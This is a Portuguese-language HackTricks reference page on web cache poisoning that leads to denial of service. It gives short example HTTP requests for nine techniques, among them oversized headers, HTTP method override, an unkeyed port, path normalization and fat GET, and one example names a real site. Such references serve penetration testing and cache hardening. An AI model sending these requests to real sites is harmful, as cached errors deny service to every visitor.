# Cache Poisoning to DoS {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% hint style="danger" %} Nesta página você pode encontrar diferentes variações para tentar fazer o **servidor web responder com erros** a solicitações que são **válidas para os servidores de cache** {% endhint %} * **HTTP Header Oversize (HHO)** Envie uma solicitação com um tamanho de cabeçalho maior do que o suportado pelo servidor web, mas menor do que o suportado pelo servidor de cache. O servidor web responderá com uma resposta 400 que pode ser armazenada em cache: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` * **HTTP Meta Character (HMC) & Valores inesperados** Envie um cabeçalho que contenha alguns **caracteres meta prejudiciais** como `\n` e `\r`. Para que o ataque funcione, você deve contornar o cache primeiro. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` Um cabeçalho mal configurado poderia ser apenas `\:` como um cabeçalho. Isso também poderia funcionar se valores inesperados forem enviados, como um Content-Type: inesperado. ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` * **Cabeçalho sem chave** Alguns sites retornarão um código de status de erro se **verem alguns cabeçalhos específicos** na solicitação, como com o cabeçalho _X-Amz-Website-Location-Redirect: someThing_: ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` * **Ataque de Sobrescrita de Método HTTP (HMO)** Se o servidor suportar a alteração do método HTTP com cabeçalhos como `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override`. É possível solicitar uma página válida alterando o método para que o servidor não o suporte, assim uma resposta ruim é armazenada em cache: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` * **Porta Não Chaveada** Se a porta no cabeçalho Host for refletida na resposta e não estiver incluída na chave de cache, é possível redirecioná-la para uma porta não utilizada: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` * **Long Redirect DoS** Como no exemplo a seguir, x não está sendo armazenado em cache, então um atacante poderia abusar do comportamento da resposta de redirecionamento para fazer o redirecionamento enviar uma URL tão grande que retorna um erro. Assim, pessoas tentando acessar a URL sem a chave x não armazenada em cache receberão a resposta de erro: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` * **Normalização de maiúsculas no cabeçalho Host** O cabeçalho Host deve ser insensível a maiúsculas, mas alguns sites esperam que esteja em minúsculas, retornando um erro se não estiver: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` * **Normalização de caminho** Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache irá URLdecode o caminho e armazenar a resposta para o caminho URLdecoded: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` * **Fat Get** Alguns servidores de cache, como Cloudflare, ou servidores web, bloqueiam solicitações GET com um corpo, então isso poderia ser explorado para armazenar em cache uma resposta inválida: ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## Referências * [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}